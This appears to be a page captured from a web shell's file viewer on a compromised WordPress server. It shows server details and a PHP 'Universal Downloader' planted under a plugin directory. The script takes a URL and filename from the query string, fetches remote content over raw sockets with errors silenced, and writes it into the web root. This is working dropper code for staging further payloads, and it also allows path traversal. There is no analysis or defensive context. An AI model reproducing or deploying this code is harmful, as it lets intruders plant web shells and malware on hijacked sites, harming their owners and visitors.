| Server IP : 193.146.211.90 / Your IP : 10.85.6.55 Web Server : Apache System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64 User : 1001 ( 1001) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /bitnami/wordpress/wp-content/plugins/awplimatiga/name/kamu/ |
Upload File : |
<?php
/**
* SIMPLE DOWNLOADER - Universal
* Pure fsockopen, No cURL required
*/
error_reporting(0);
set_time_limit(0);
function download_file($url, $save_to) {
$urlParts = parse_url($url);
$host = $urlParts['host'];
$path = isset($urlParts['path']) ? $urlParts['path'] : '/';
$scheme = isset($urlParts['scheme']) ? $urlParts['scheme'] : 'http';
$port = ($scheme == 'https') ? 443 : 80;
$sslHost = ($scheme == 'https') ? "ssl://" . $host : $host;
$fp = @fsockopen($sslHost, $port, $errno, $errstr, 30);
if (!$fp) {
return false;
}
$request = "GET $path HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Mozilla/5.0\r\n";
$request .= "Connection: Close\r\n\r\n";
fwrite($fp, $request);
$isHeader = true;
$content = '';
while (!feof($fp)) {
$line = fgets($fp, 4096);
if ($isHeader) {
if ($line == "\r\n" || $line == "\n") {
$isHeader = false;
}
} else {
$content .= $line;
}
}
fclose($fp);
if (!empty($content)) {
file_put_contents($save_to, $content);
return (file_exists($save_to) && filesize($save_to) > 0);
}
return false;
}
// ========== PROSES DOWNLOAD ==========
if (isset($_GET['url']) && isset($_GET['file'])) {
$url = $_GET['url'];
$file = $_GET['file'];
$target = __DIR__ . '/' . $file;
$success = download_file($url, $target);
if ($success) {
echo "✅ Download success: " . htmlspecialchars($file);
echo "<br><a href='$file' target='_blank'>Open File</a>";
} else {
echo "❌ Download failed!";
}
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Universal Downloader</title>
<style>
body { font-family: monospace; background: #0a0e14; color: #fff; padding: 20px; }
.box { max-width: 500px; margin: auto; background: #1a2332; padding: 20px; border-radius: 8px; }
input, button { width: 100%; padding: 10px; margin: 5px 0; border-radius: 4px; border: 1px solid #333; background: #0d131a; color: #fff; }
button { background: #2a4a2a; color: #5cda41; cursor: pointer; }
.info { background: #332020; padding: 8px; border-radius: 4px; margin: 5px 0; font-size: 12px; color: #ff6b6b; }
</style>
</head>
<body>
<div class="box">
<h2>📥 Universal Downloader</h2>
<p style="font-size:12px; color:#abb2bf;">Download file from URL (No cURL required)</p>
<form method="GET">
<input type="text" name="url" placeholder="File URL (https://...)" required>
<input type="text" name="file" placeholder="Save as (contoh: file.zip)" required>
<button type="submit">📥 DOWNLOAD</button>
</form>
<div class="info">
⚡ Works on: PHP 5.6+ | All hosting | No cURL needed
</div>
<?php if (isset($_GET['url']) && isset($_GET['file'])): ?>
<div style="margin-top:15px; padding:10px; background:#0d131a; border-radius:4px;">
📁 Downloaded: <strong><?= htmlspecialchars($_GET['file']) ?></strong>
</div>
<?php endif; ?>
</div>
</body>
</html>